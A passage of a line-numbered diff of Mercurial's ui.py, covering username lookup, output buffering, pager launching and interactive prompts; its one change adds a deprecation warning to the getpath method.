973 973 encoding.environ.get(b'HGPLAINEXCEPT', b'').strip().split(b',')
974 974 )
975 975 # TODO: add support for HGPLAIN=+feature,-feature syntax
976 976 if b'+strictflags' not in encoding.environ.get(b'HGPLAIN', b'').split(
977 977 b','
978 978 ):
979 979 exceptions.append(b'strictflags')
980 980 if feature and exceptions:
981 981 return feature not in exceptions
982 982 return True
983 983
984 984 def username(self, acceptempty=False):
985 985 """Return default username to be used in commits.
986 986
987 987 Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
988 988 and stop searching if one of these is set.
989 989 If not found and acceptempty is True, returns None.
990 990 If not found and ui.askusername is True, ask the user, else use
991 991 ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
992 992 If no username could be found, raise an Abort error.
993 993 """
994 994 user = encoding.environ.get(b"HGUSER")
995 995 if user is None:
996 996 user = self.config(b"ui", b"username")
997 997 if user is not None:
998 998 user = os.path.expandvars(user)
999 999 if user is None:
1000 1000 user = encoding.environ.get(b"EMAIL")
1001 1001 if user is None and acceptempty:
1002 1002 return user
1003 1003 if user is None and self.configbool(b"ui", b"askusername"):
1004 1004 user = self.prompt(_(b"enter a commit username:"), default=None)
1005 1005 if user is None and not self.interactive():
1006 1006 try:
1007 1007 user = b'%s@%s' % (
1008 1008 procutil.getuser(),
1009 1009 encoding.strtolocal(socket.getfqdn()),
1010 1010 )
1011 1011 self.warn(_(b"no username found, using '%s' instead\n") % user)
1012 1012 except KeyError:
1013 1013 pass
1014 1014 if not user:
1015 1015 raise error.Abort(
1016 1016 _(b'no username supplied'),
1017 1017 hint=_(b"use 'hg config --edit' " b'to set your username'),
1018 1018 )
1019 1019 if b"\n" in user:
1020 1020 raise error.Abort(
1021 1021 _(b"username %r contains a newline\n") % pycompat.bytestr(user)
1022 1022 )
1023 1023 return user
1024 1024
1025 1025 def shortuser(self, user):
1026 1026 """Return a short representation of a user name or email address."""
1027 1027 if not self.verbose:
1028 1028 user = stringutil.shortuser(user)
1029 1029 return user
1030 1030
1031 1031 def expandpath(self, loc, default=None):
1032 1032 """Return repository location relative to cwd or from [paths]"""
1033 1033 msg = b'ui.expandpath is deprecated, use `get_*` functions from urlutil'
1034 1034 self.deprecwarn(msg, b'6.0')
1035 1035 try:
1036 1036 p = self.getpath(loc)
1037 1037 if p:
1038 1038 return p.rawloc
1039 1039 except error.RepoError:
1040 1040 pass
1041 1041
1042 1042 if default:
1043 1043 try:
1044 1044 p = self.getpath(default)
1045 1045 if p:
1046 1046 return p.rawloc
1047 1047 except error.RepoError:
1048 1048 pass
1049 1049
1050 1050 return loc
1051 1051
1052 1052 @util.propertycache
1053 1053 def paths(self):
1054 1054 return urlutil.paths(self)
1055 1055
1056 1056 def getpath(self, *args, **kwargs):
1057 1057 """see paths.getpath for details
1058 1058
1059 1059 This method exist as `getpath` need a ui for potential warning message.
1060 1060 """
1061 msg = b'ui.getpath is deprecated, use `get_*` functions from urlutil'
1062 self.deprecwarn(msg, '6.0')
1061 1063 return self.paths.getpath(self, *args, **kwargs)
1062 1064
1063 1065 @property
1064 1066 def fout(self):
1065 1067 return self._fout
1066 1068
1067 1069 @fout.setter
1068 1070 def fout(self, f):
1069 1071 self._fout = f
1070 1072 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1071 1073
1072 1074 @property
1073 1075 def ferr(self):
1074 1076 return self._ferr
1075 1077
1076 1078 @ferr.setter
1077 1079 def ferr(self, f):
1078 1080 self._ferr = f
1079 1081 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1080 1082
1081 1083 @property
1082 1084 def fin(self):
1083 1085 return self._fin
1084 1086
1085 1087 @fin.setter
1086 1088 def fin(self, f):
1087 1089 self._fin = f
1088 1090
1089 1091 @property
1090 1092 def fmsg(self):
1091 1093 """Stream dedicated for status/error messages; may be None if
1092 1094 fout/ferr are used"""
1093 1095 return self._fmsg
1094 1096
1095 1097 @fmsg.setter
1096 1098 def fmsg(self, f):
1097 1099 self._fmsg = f
1098 1100 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1099 1101
1100 1102 def pushbuffer(self, error=False, subproc=False, labeled=False):
1101 1103 """install a buffer to capture standard output of the ui object
1102 1104
1103 1105 If error is True, the error output will be captured too.
1104 1106
1105 1107 If subproc is True, output from subprocesses (typically hooks) will be
1106 1108 captured too.
1107 1109
1108 1110 If labeled is True, any labels associated with buffered
1109 1111 output will be handled. By default, this has no effect
1110 1112 on the output returned, but extensions and GUI tools may
1111 1113 handle this argument and returned styled output. If output
1112 1114 is being buffered so it can be captured and parsed or
1113 1115 processed, labeled should not be set to True.
1114 1116 """
1115 1117 self._buffers.append([])
1116 1118 self._bufferstates.append((error, subproc, labeled))
1117 1119 self._bufferapplylabels = labeled
1118 1120
1119 1121 def popbuffer(self):
1120 1122 '''pop the last buffer and return the buffered output'''
1121 1123 self._bufferstates.pop()
1122 1124 if self._bufferstates:
1123 1125 self._bufferapplylabels = self._bufferstates[-1][2]
1124 1126 else:
1125 1127 self._bufferapplylabels = None
1126 1128
1127 1129 return b"".join(self._buffers.pop())
1128 1130
1129 1131 def _isbuffered(self, dest):
1130 1132 if dest is self._fout:
1131 1133 return bool(self._buffers)
1132 1134 if dest is self._ferr:
1133 1135 return bool(self._bufferstates and self._bufferstates[-1][0])
1134 1136 return False
1135 1137
1136 1138 def canwritewithoutlabels(self):
1137 1139 '''check if write skips the label'''
1138 1140 if self._buffers and not self._bufferapplylabels:
1139 1141 return True
1140 1142 return self._colormode is None
1141 1143
1142 1144 def canbatchlabeledwrites(self):
1143 1145 '''check if write calls with labels are batchable'''
1144 1146 # Windows color printing is special, see ``write``.
1145 1147 return self._colormode != b'win32'
1146 1148
1147 1149 def write(self, *args, **opts):
1148 1150 """write args to output
1149 1151
1150 1152 By default, this method simply writes to the buffer or stdout.
1151 1153 Color mode can be set on the UI class to have the output decorated
1152 1154 with color modifier before being written to stdout.
1153 1155
1154 1156 The color used is controlled by an optional keyword argument, "label".
1155 1157 This should be a string containing label names separated by space.
1156 1158 Label names take the form of "topic.type". For example, ui.debug()
1157 1159 issues a label of "ui.debug".
1158 1160
1159 1161 Progress reports via stderr are normally cleared before writing as
1160 1162 stdout and stderr go to the same terminal. This can be skipped with
1161 1163 the optional keyword argument "keepprogressbar". The progress bar
1162 1164 will continue to occupy a partial line on stderr in that case.
1163 1165 This functionality is intended when Mercurial acts as data source
1164 1166 in a pipe.
1165 1167
1166 1168 When labeling output for a specific command, a label of
1167 1169 "cmdname.type" is recommended. For example, status issues
1168 1170 a label of "status.modified" for modified files.
1169 1171 """
1170 1172 dest = self._fout
1171 1173
1172 1174 # inlined _write() for speed
1173 1175 if self._buffers:
1174 1176 label = opts.get('label', b'')
1175 1177 if label and self._bufferapplylabels:
1176 1178 self._buffers[-1].extend(self.label(a, label) for a in args)
1177 1179 else:
1178 1180 self._buffers[-1].extend(args)
1179 1181 return
1180 1182
1181 1183 # inlined _writenobuf() for speed
1182 1184 if not opts.get('keepprogressbar', False):
1183 1185 self._progclear()
1184 1186 msg = b''.join(args)
1185 1187
1186 1188 # opencode timeblockedsection because this is a critical path
1187 1189 starttime = util.timer()
1188 1190 try:
1189 1191 if self._colormode == b'win32':
1190 1192 # windows color printing is its own can of crab, defer to
1191 1193 # the color module and that is it.
1192 1194 color.win32print(self, dest.write, msg, **opts)
1193 1195 else:
1194 1196 if self._colormode is not None:
1195 1197 label = opts.get('label', b'')
1196 1198 msg = self.label(msg, label)
1197 1199 dest.write(msg)
1198 1200 except IOError as err:
1199 1201 raise error.StdioError(err)
1200 1202 finally:
1201 1203 self._blockedtimes[b'stdio_blocked'] += (
1202 1204 util.timer() - starttime
1203 1205 ) * 1000
1204 1206
1205 1207 def write_err(self, *args, **opts):
1206 1208 self._write(self._ferr, *args, **opts)
1207 1209
1208 1210 def _write(self, dest, *args, **opts):
1209 1211 # update write() as well if you touch this code
1210 1212 if self._isbuffered(dest):
1211 1213 label = opts.get('label', b'')
1212 1214 if label and self._bufferapplylabels:
1213 1215 self._buffers[-1].extend(self.label(a, label) for a in args)
1214 1216 else:
1215 1217 self._buffers[-1].extend(args)
1216 1218 else:
1217 1219 self._writenobuf(dest, *args, **opts)
1218 1220
1219 1221 def _writenobuf(self, dest, *args, **opts):
1220 1222 # update write() as well if you touch this code
1221 1223 if not opts.get('keepprogressbar', False):
1222 1224 self._progclear()
1223 1225 msg = b''.join(args)
1224 1226
1225 1227 # opencode timeblockedsection because this is a critical path
1226 1228 starttime = util.timer()
1227 1229 try:
1228 1230 if dest is self._ferr and not getattr(self._fout, 'closed', False):
1229 1231 self._fout.flush()
1230 1232 if getattr(dest, 'structured', False):
1231 1233 # channel for machine-readable output with metadata, where
1232 1234 # no extra colorization is necessary.
1233 1235 dest.write(msg, **opts)
1234 1236 elif self._colormode == b'win32':
1235 1237 # windows color printing is its own can of crab, defer to
1236 1238 # the color module and that is it.
1237 1239 color.win32print(self, dest.write, msg, **opts)
1238 1240 else:
1239 1241 if self._colormode is not None:
1240 1242 label = opts.get('label', b'')
1241 1243 msg = self.label(msg, label)
1242 1244 dest.write(msg)
1243 1245 # stderr may be buffered under win32 when redirected to files,
1244 1246 # including stdout.
1245 1247 if dest is self._ferr and not getattr(dest, 'closed', False):
1246 1248 dest.flush()
1247 1249 except IOError as err:
1248 1250 if dest is self._ferr and err.errno in (
1249 1251 errno.EPIPE,
1250 1252 errno.EIO,
1251 1253 errno.EBADF,
1252 1254 ):
1253 1255 # no way to report the error, so ignore it
1254 1256 return
1255 1257 raise error.StdioError(err)
1256 1258 finally:
1257 1259 self._blockedtimes[b'stdio_blocked'] += (
1258 1260 util.timer() - starttime
1259 1261 ) * 1000
1260 1262
1261 1263 def _writemsg(self, dest, *args, **opts):
1262 1264 timestamp = self.showtimestamp and opts.get('type') in {
1263 1265 b'debug',
1264 1266 b'error',
1265 1267 b'note',
1266 1268 b'status',
1267 1269 b'warning',
1268 1270 }
1269 1271 if timestamp:
1270 1272 args = (
1271 1273 b'[%s] '
1272 1274 % pycompat.bytestr(datetime.datetime.now().isoformat()),
1273 1275 ) + args
1274 1276 _writemsgwith(self._write, dest, *args, **opts)
1275 1277 if timestamp:
1276 1278 dest.flush()
1277 1279
1278 1280 def _writemsgnobuf(self, dest, *args, **opts):
1279 1281 _writemsgwith(self._writenobuf, dest, *args, **opts)
1280 1282
1281 1283 def flush(self):
1282 1284 # opencode timeblockedsection because this is a critical path
1283 1285 starttime = util.timer()
1284 1286 try:
1285 1287 try:
1286 1288 self._fout.flush()
1287 1289 except IOError as err:
1288 1290 if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
1289 1291 raise error.StdioError(err)
1290 1292 finally:
1291 1293 try:
1292 1294 self._ferr.flush()
1293 1295 except IOError as err:
1294 1296 if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
1295 1297 raise error.StdioError(err)
1296 1298 finally:
1297 1299 self._blockedtimes[b'stdio_blocked'] += (
1298 1300 util.timer() - starttime
1299 1301 ) * 1000
1300 1302
1301 1303 def _isatty(self, fh):
1302 1304 if self.configbool(b'ui', b'nontty'):
1303 1305 return False
1304 1306 return procutil.isatty(fh)
1305 1307
1306 1308 def protectfinout(self):
1307 1309 """Duplicate ui streams and redirect original if they are stdio
1308 1310
1309 1311 Returns (fin, fout) which point to the original ui fds, but may be
1310 1312 copy of them. The returned streams can be considered "owned" in that
1311 1313 print(), exec(), etc. never reach to them.
1312 1314 """
1313 1315 if self._finoutredirected:
1314 1316 # if already redirected, protectstdio() would just create another
1315 1317 # nullfd pair, which is equivalent to returning self._fin/_fout.
1316 1318 return self._fin, self._fout
1317 1319 fin, fout = procutil.protectstdio(self._fin, self._fout)
1318 1320 self._finoutredirected = (fin, fout) != (self._fin, self._fout)
1319 1321 return fin, fout
1320 1322
1321 1323 def restorefinout(self, fin, fout):
1322 1324 """Restore ui streams from possibly duplicated (fin, fout)"""
1323 1325 if (fin, fout) == (self._fin, self._fout):
1324 1326 return
1325 1327 procutil.restorestdio(self._fin, self._fout, fin, fout)
1326 1328 # protectfinout() won't create more than one duplicated streams,
1327 1329 # so we can just turn the redirection flag off.
1328 1330 self._finoutredirected = False
1329 1331
1330 1332 @contextlib.contextmanager
1331 1333 def protectedfinout(self):
1332 1334 """Run code block with protected standard streams"""
1333 1335 fin, fout = self.protectfinout()
1334 1336 try:
1335 1337 yield fin, fout
1336 1338 finally:
1337 1339 self.restorefinout(fin, fout)
1338 1340
1339 1341 def disablepager(self):
1340 1342 self._disablepager = True
1341 1343
1342 1344 def pager(self, command):
1343 1345 """Start a pager for subsequent command output.
1344 1346
1345 1347 Commands which produce a long stream of output should call
1346 1348 this function to activate the user's preferred pagination
1347 1349 mechanism (which may be no pager). Calling this function
1348 1350 precludes any future use of interactive functionality, such as
1349 1351 prompting the user or activating curses.
1350 1352
1351 1353 Args:
1352 1354 command: The full, non-aliased name of the command. That is, "log"
1353 1355 not "history, "summary" not "summ", etc.
1354 1356 """
1355 1357 if self._disablepager or self.pageractive:
1356 1358 # how pager should do is already determined
1357 1359 return
1358 1360
1359 1361 if not command.startswith(b'internal-always-') and (
1360 1362 # explicit --pager=on (= 'internal-always-' prefix) should
1361 1363 # take precedence over disabling factors below
1362 1364 command in self.configlist(b'pager', b'ignore')
1363 1365 or not self.configbool(b'ui', b'paginate')
1364 1366 or not self.configbool(b'pager', b'attend-' + command, True)
1365 1367 or encoding.environ.get(b'TERM') == b'dumb'
1366 1368 # TODO: if we want to allow HGPLAINEXCEPT=pager,
1367 1369 # formatted() will need some adjustment.
1368 1370 or not self.formatted()
1369 1371 or self.plain()
1370 1372 or self._buffers
1371 1373 # TODO: expose debugger-enabled on the UI object
1372 1374 or b'--debugger' in pycompat.sysargv
1373 1375 ):
1374 1376 # We only want to paginate if the ui appears to be
1375 1377 # interactive, the user didn't say HGPLAIN or
1376 1378 # HGPLAINEXCEPT=pager, and the user didn't specify --debug.
1377 1379 return
1378 1380
1379 1381 pagercmd = self.config(b'pager', b'pager', rcutil.fallbackpager)
1380 1382 if not pagercmd:
1381 1383 return
1382 1384
1383 1385 pagerenv = {}
1384 1386 for name, value in rcutil.defaultpagerenv().items():
1385 1387 if name not in encoding.environ:
1386 1388 pagerenv[name] = value
1387 1389
1388 1390 self.debug(
1389 1391 b'starting pager for command %s\n' % stringutil.pprint(command)
1390 1392 )
1391 1393 self.flush()
1392 1394
1393 1395 wasformatted = self.formatted()
1394 1396 if util.safehasattr(signal, b"SIGPIPE"):
1395 1397 signal.signal(signal.SIGPIPE, _catchterm)
1396 1398 if self._runpager(pagercmd, pagerenv):
1397 1399 self.pageractive = True
1398 1400 # Preserve the formatted-ness of the UI. This is important
1399 1401 # because we mess with stdout, which might confuse
1400 1402 # auto-detection of things being formatted.
1401 1403 self.setconfig(b'ui', b'formatted', wasformatted, b'pager')
1402 1404 self.setconfig(b'ui', b'interactive', False, b'pager')
1403 1405
1404 1406 # If pagermode differs from color.mode, reconfigure color now that
1405 1407 # pageractive is set.
1406 1408 cm = self._colormode
1407 1409 if cm != self.config(b'color', b'pagermode', cm):
1408 1410 color.setup(self)
1409 1411 else:
1410 1412 # If the pager can't be spawned in dispatch when --pager=on is
1411 1413 # given, don't try again when the command runs, to avoid a duplicate
1412 1414 # warning about a missing pager command.
1413 1415 self.disablepager()
1414 1416
1415 1417 def _runpager(self, command, env=None):
1416 1418 """Actually start the pager and set up file descriptors.
1417 1419
1418 1420 This is separate in part so that extensions (like chg) can
1419 1421 override how a pager is invoked.
1420 1422 """
1421 1423 if command == b'cat':
1422 1424 # Save ourselves some work.
1423 1425 return False
1424 1426 # If the command doesn't contain any of these characters, we
1425 1427 # assume it's a binary and exec it directly. This means for
1426 1428 # simple pager command configurations, we can degrade
1427 1429 # gracefully and tell the user about their broken pager.
1428 1430 shell = any(c in command for c in b"|&;<>()$`\\\"' \t\n*?[#~=%")
1429 1431
1430 1432 if pycompat.iswindows and not shell:
1431 1433 # Window's built-in `more` cannot be invoked with shell=False, but
1432 1434 # its `more.com` can. Hide this implementation detail from the
1433 1435 # user so we can also get sane bad PAGER behavior. MSYS has
1434 1436 # `more.exe`, so do a cmd.exe style resolution of the executable to
1435 1437 # determine which one to use.
1436 1438 fullcmd = procutil.findexe(command)
1437 1439 if not fullcmd:
1438 1440 self.warn(
1439 1441 _(b"missing pager command '%s', skipping pager\n") % command
1440 1442 )
1441 1443 return False
1442 1444
1443 1445 command = fullcmd
1444 1446
1445 1447 try:
1446 1448 pager = subprocess.Popen(
1447 1449 procutil.tonativestr(command),
1448 1450 shell=shell,
1449 1451 bufsize=-1,
1450 1452 close_fds=procutil.closefds,
1451 1453 stdin=subprocess.PIPE,
1452 1454 stdout=procutil.stdout,
1453 1455 stderr=procutil.stderr,
1454 1456 env=procutil.tonativeenv(procutil.shellenviron(env)),
1455 1457 )
1456 1458 except OSError as e:
1457 1459 if e.errno == errno.ENOENT and not shell:
1458 1460 self.warn(
1459 1461 _(b"missing pager command '%s', skipping pager\n") % command
1460 1462 )
1461 1463 return False
1462 1464 raise
1463 1465
1464 1466 # back up original file descriptors
1465 1467 stdoutfd = os.dup(procutil.stdout.fileno())
1466 1468 stderrfd = os.dup(procutil.stderr.fileno())
1467 1469
1468 1470 os.dup2(pager.stdin.fileno(), procutil.stdout.fileno())
1469 1471 if self._isatty(procutil.stderr):
1470 1472 os.dup2(pager.stdin.fileno(), procutil.stderr.fileno())
1471 1473
1472 1474 @self.atexit
1473 1475 def killpager():
1474 1476 if util.safehasattr(signal, b"SIGINT"):
1475 1477 signal.signal(signal.SIGINT, signal.SIG_IGN)
1476 1478 # restore original fds, closing pager.stdin copies in the process
1477 1479 os.dup2(stdoutfd, procutil.stdout.fileno())
1478 1480 os.dup2(stderrfd, procutil.stderr.fileno())
1479 1481 pager.stdin.close()
1480 1482 pager.wait()
1481 1483
1482 1484 return True
1483 1485
1484 1486 @property
1485 1487 def _exithandlers(self):
1486 1488 return _reqexithandlers
1487 1489
1488 1490 def atexit(self, func, *args, **kwargs):
1489 1491 """register a function to run after dispatching a request
1490 1492
1491 1493 Handlers do not stay registered across request boundaries."""
1492 1494 self._exithandlers.append((func, args, kwargs))
1493 1495 return func
1494 1496
1495 1497 def interface(self, feature):
1496 1498 """what interface to use for interactive console features?
1497 1499
1498 1500 The interface is controlled by the value of `ui.interface` but also by
1499 1501 the value of feature-specific configuration. For example:
1500 1502
1501 1503 ui.interface.histedit = text
1502 1504 ui.interface.chunkselector = curses
1503 1505
1504 1506 Here the features are "histedit" and "chunkselector".
1505 1507
1506 1508 The configuration above means that the default interfaces for commands
1507 1509 is curses, the interface for histedit is text and the interface for
1508 1510 selecting chunk is crecord (the best curses interface available).
1509 1511
1510 1512 Consider the following example:
1511 1513 ui.interface = curses
1512 1514 ui.interface.histedit = text
1513 1515
1514 1516 Then histedit will use the text interface and chunkselector will use
1515 1517 the default curses interface (crecord at the moment).
1516 1518 """
1517 1519 alldefaults = frozenset([b"text", b"curses"])
1518 1520
1519 1521 featureinterfaces = {
1520 1522 b"chunkselector": [
1521 1523 b"text",
1522 1524 b"curses",
1523 1525 ],
1524 1526 b"histedit": [
1525 1527 b"text",
1526 1528 b"curses",
1527 1529 ],
1528 1530 }
1529 1531
1530 1532 # Feature-specific interface
1531 1533 if feature not in featureinterfaces.keys():
1532 1534 # Programming error, not user error
1533 1535 raise ValueError(b"Unknown feature requested %s" % feature)
1534 1536
1535 1537 availableinterfaces = frozenset(featureinterfaces[feature])
1536 1538 if alldefaults > availableinterfaces:
1537 1539 # Programming error, not user error. We need a use case to
1538 1540 # define the right thing to do here.
1539 1541 raise ValueError(
1540 1542 b"Feature %s does not handle all default interfaces" % feature
1541 1543 )
1542 1544
1543 1545 if self.plain() or encoding.environ.get(b'TERM') == b'dumb':
1544 1546 return b"text"
1545 1547
1546 1548 # Default interface for all the features
1547 1549 defaultinterface = b"text"
1548 1550 i = self.config(b"ui", b"interface")
1549 1551 if i in alldefaults:
1550 1552 defaultinterface = i
1551 1553
1552 1554 choseninterface = defaultinterface
1553 1555 f = self.config(b"ui", b"interface.%s" % feature)
1554 1556 if f in availableinterfaces:
1555 1557 choseninterface = f
1556 1558
1557 1559 if i is not None and defaultinterface != i:
1558 1560 if f is not None:
1559 1561 self.warn(_(b"invalid value for ui.interface: %s\n") % (i,))
1560 1562 else:
1561 1563 self.warn(
1562 1564 _(b"invalid value for ui.interface: %s (using %s)\n")
1563 1565 % (i, choseninterface)
1564 1566 )
1565 1567 if f is not None and choseninterface != f:
1566 1568 self.warn(
1567 1569 _(b"invalid value for ui.interface.%s: %s (using %s)\n")
1568 1570 % (feature, f, choseninterface)
1569 1571 )
1570 1572
1571 1573 return choseninterface
1572 1574
1573 1575 def interactive(self):
1574 1576 """is interactive input allowed?
1575 1577
1576 1578 An interactive session is a session where input can be reasonably read
1577 1579 from `sys.stdin'. If this function returns false, any attempt to read
1578 1580 from stdin should fail with an error, unless a sensible default has been
1579 1581 specified.
1580 1582
1581 1583 Interactiveness is triggered by the value of the `ui.interactive'
1582 1584 configuration variable or - if it is unset - when `sys.stdin' points
1583 1585 to a terminal device.
1584 1586
1585 1587 This function refers to input only; for output, see `ui.formatted()'.
1586 1588 """
1587 1589 i = self.configbool(b"ui", b"interactive")
1588 1590 if i is None:
1589 1591 # some environments replace stdin without implementing isatty
1590 1592 # usually those are non-interactive
1591 1593 return self._isatty(self._fin)
1592 1594
1593 1595 return i
1594 1596
1595 1597 def termwidth(self):
1596 1598 """how wide is the terminal in columns?"""
1597 1599 if b'COLUMNS' in encoding.environ:
1598 1600 try:
1599 1601 return int(encoding.environ[b'COLUMNS'])
1600 1602 except ValueError:
1601 1603 pass
1602 1604 return scmutil.termsize(self)[0]
1603 1605
1604 1606 def formatted(self):
1605 1607 """should formatted output be used?
1606 1608
1607 1609 It is often desirable to format the output to suite the output medium.
1608 1610 Examples of this are truncating long lines or colorizing messages.
1609 1611 However, this is not often not desirable when piping output into other
1610 1612 utilities, e.g. `grep'.
1611 1613
1612 1614 Formatted output is triggered by the value of the `ui.formatted'
1613 1615 configuration variable or - if it is unset - when `sys.stdout' points
1614 1616 to a terminal device. Please note that `ui.formatted' should be
1615 1617 considered an implementation detail; it is not intended for use outside
1616 1618 Mercurial or its extensions.
1617 1619
1618 1620 This function refers to output only; for input, see `ui.interactive()'.
1619 1621 This function always returns false when in plain mode, see `ui.plain()'.
1620 1622 """
1621 1623 if self.plain():
1622 1624 return False
1623 1625
1624 1626 i = self.configbool(b"ui", b"formatted")
1625 1627 if i is None:
1626 1628 # some environments replace stdout without implementing isatty
1627 1629 # usually those are non-interactive
1628 1630 return self._isatty(self._fout)
1629 1631
1630 1632 return i
1631 1633
1632 1634 def _readline(self, prompt=b' ', promptopts=None):
1633 1635 # Replacing stdin/stdout temporarily is a hard problem on Python 3
1634 1636 # because they have to be text streams with *no buffering*. Instead,
1635 1637 # we use rawinput() only if call_readline() will be invoked by
1636 1638 # PyOS_Readline(), so no I/O will be made at Python layer.
1637 1639 usereadline = (
1638 1640 self._isatty(self._fin)
1639 1641 and self._isatty(self._fout)
1640 1642 and procutil.isstdin(self._fin)
1641 1643 and procutil.isstdout(self._fout)
1642 1644 )
1643 1645 if usereadline:
1644 1646 try:
1645 1647 # magically add command line editing support, where
1646 1648 # available
1647 1649 import readline
1648 1650
1649 1651 # force demandimport to really load the module
1650 1652 readline.read_history_file
1651 1653 # windows sometimes raises something other than ImportError
1652 1654 except Exception:
1653 1655 usereadline = False
1654 1656
1655 1657 if self._colormode == b'win32' or not usereadline:
1656 1658 if not promptopts:
1657 1659 promptopts = {}
1658 1660 self._writemsgnobuf(
1659 1661 self._fmsgout, prompt, type=b'prompt', **promptopts
1660 1662 )
1661 1663 self.flush()
1662 1664 prompt = b' '
1663 1665 else:
1664 1666 prompt = self.label(prompt, b'ui.prompt') + b' '
1665 1667
1666 1668 # prompt ' ' must exist; otherwise readline may delete entire line
1667 1669 # - http://bugs.python.org/issue12833
1668 1670 with self.timeblockedsection(b'stdio'):
1669 1671 if usereadline:
1670 1672 self.flush()
1671 1673 prompt = encoding.strfromlocal(prompt)
1672 1674 line = encoding.strtolocal(pycompat.rawinput(prompt))
1673 1675 # When stdin is in binary mode on Windows, it can cause
1674 1676 # raw_input() to emit an extra trailing carriage return
1675 1677 if pycompat.oslinesep == b'\r\n' and line.endswith(b'\r'):
1676 1678 line = line[:-1]
1677 1679 else:
1678 1680 self._fout.write(pycompat.bytestr(prompt))
1679 1681 self._fout.flush()
1680 1682 line = self._fin.readline()
1681 1683 if not line:
1682 1684 raise EOFError
1683 1685 line = line.rstrip(pycompat.oslinesep)
1684 1686
1685 1687 return line
1686 1688
1687 1689 def prompt(self, msg, default=b"y"):
1688 1690 """Prompt user with msg, read response.
1689 1691 If ui is not interactive, the default is returned.
1690 1692 """
1691 1693 return self._prompt(msg, default=default)
1692 1694
1693 1695 def _prompt(self, msg, **opts):
1694 1696 default = opts['default']
1695 1697 if not self.interactive():
1696 1698 self._writemsg(self._fmsgout, msg, b' ', type=b'prompt', **opts)
1697 1699 self._writemsg(
1698 1700 self._fmsgout, default or b'', b"\n", type=b'promptecho'
1699 1701 )
1700 1702 return default
1701 1703 try:
1702 1704 r = self._readline(prompt=msg, promptopts=opts)
1703 1705 if not r:
1704 1706 r = default
1705 1707 if self.configbool(b'ui', b'promptecho'):
1706 1708 self._writemsg(
1707 1709 self._fmsgout, r or b'', b"\n", type=b'promptecho'
1708 1710 )
1709 1711 return r
1710 1712 except EOFError:
1711 1713 raise error.ResponseExpected()
1712 1714
1713 1715 @staticmethod
1714 1716 def extractchoices(prompt):
1715 1717 """Extract prompt message and list of choices from specified prompt.
1716 1718
1717 1719 This returns tuple "(message, choices)", and "choices" is the
1718 1720 list of tuple "(response character, text without &)".
1719 1721
1720 1722 >>> ui.extractchoices(b"awake? $$ &Yes $$ &No")
1721 1723 ('awake? ', [('y', 'Yes'), ('n', 'No')])
1722 1724 >>> ui.extractchoices(b"line\\nbreak? $$ &Yes $$ &No")
1723 1725 ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')])
1724 1726 >>> ui.extractchoices(b"want lots of $$money$$?$$Ye&s$$N&o")
1725 1727 ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')])
1726 1728 """
1727 1729
1728 1730 # Sadly, the prompt string may have been built with a filename
1729 1731 # containing "$$" so let's try to find the first valid-looking
1730 1732 # prompt to start parsing. Sadly, we also can't rely on
1731 1733 # choices containing spaces, ASCII, or basically anything
1732 1734 # except an ampersand followed by a character.
1733 1735 m = re.match(br'(?s)(.+?)\$\$([^$]*&[^ $].*)', prompt)
1734 1736 msg = m.group(1)
1735 1737 choices = [p.strip(b' ') for p in m.group(2).split(b'$$')]
1736 1738
1737 1739 def choicetuple(s):
1738 1740 ampidx = s.index(b'&')
1739 1741 return s[ampidx + 1 : ampidx + 2].lower(), s.replace(b'&', b'', 1)
1740 1742
1741 1743 return (msg, [choicetuple(s) for s in choices])
1742 1744
1743 1745 def promptchoice(self, prompt, default=0):
1744 1746 """Prompt user with a message, read response, and ensure it matches
1745 1747 one of the provided choices. The prompt is formatted as follows:
1746 1748
1747 1749 "would you like fries with that (Yn)? $$ &Yes $$ &No"
1748 1750
1749 1751 The index of the choice is returned. Responses are case
1750 1752 insensitive. If ui is not interactive, the default is
1751 1753 returned.
1752 1754 """
1753 1755
1754 1756 msg, choices = self.extractchoices(prompt)
1755 1757 resps = [r for r, t in choices]
1756 1758 while True:
1757 1759 r = self._prompt(msg, default=resps[default], choices=choices)
1758 1760 if r.lower() in resps:
1759 1761 return resps.index(r.lower())
1760 1762 # TODO: shouldn't it be a warning?
1761 1763 self._writemsg(self._fmsgout, _(b"unrecognized response\n"))
1762 1764
1763 1765 def getpass(self, prompt=None, default=None):
1764 1766 if not self.interactive():
1765 1767 return default
1766 1768 try:
1767 1769 self._writemsg(
1768 1770 self._fmsgerr,
1769 1771 prompt or _(b'password: '),
1770 1772 type=b'prompt',
1771 1773 password=True,
1772 1774 )
1773 1775 # disable getpass() only if explicitly specified. it's still valid
1774 1776 # to interact with tty even if fin is not a tty.
1775 1777 with self.timeblockedsection(b'stdio'):
1776 1778 if self.configbool(b'ui', b'nontty'):
1777 1779 l = self._fin.readline()
1778 1780 if not l:
1779 1781 raise EOFError
1780 1782 return l.rstrip(b'\n')
1781 1783 else:
1782 1784 return encoding.strtolocal(getpass.getpass(''))
1783 1785 except EOFError:
1784 1786 raise error.ResponseExpected()
1785 1787
1786 1788 def status(self, *msg, **opts):
1787 1789 """write status message to output (if ui.quiet is False)
1788 1790
1789 1791 This adds an output label of "ui.status".
1790 1792 """
1791 1793 if not self.quiet:
1792 1794 self._writemsg(self._fmsgout, type=b'status', *msg, **opts)
1793 1795
1794 1796 def warn(self, *msg, **opts):
1795 1797 """write warning message to output (stderr)
1796 1798
1797 1799 This adds an output label of "ui.warning".
1798 1800 """
1799 1801 self._writemsg(self._fmsgerr, type=b'warning', *msg, **opts)
1800 1802
1801 1803 def error(self, *msg, **opts):
1802 1804 """write error message to output (stderr)
1803 1805
1804 1806 This adds an output label of "ui.error".
1805 1807 """
1806 1808 self._writemsg(self._fmsgerr, type=b'error', *msg, **opts)
1807 1809
1808 1810 def note(self, *msg, **opts):
1809 1811 """write note to output (if ui.verbose is True)
1810 1812
1811 1813 This adds an output label of "ui.note".
1812 1814 """
1813 1815 if self.verbose:
1814 1816 self._writemsg(self._fmsgout, type=b'note', *msg, **opts)
1815 1817
1816 1818 def debug(self, *msg, **opts):
1817 1819 """write debug message to output (if ui.debugflag is True)
1818 1820
1819 1821 This adds an output label of "ui.debug".
1820 1822 """
1821 1823 if self.debugflag:
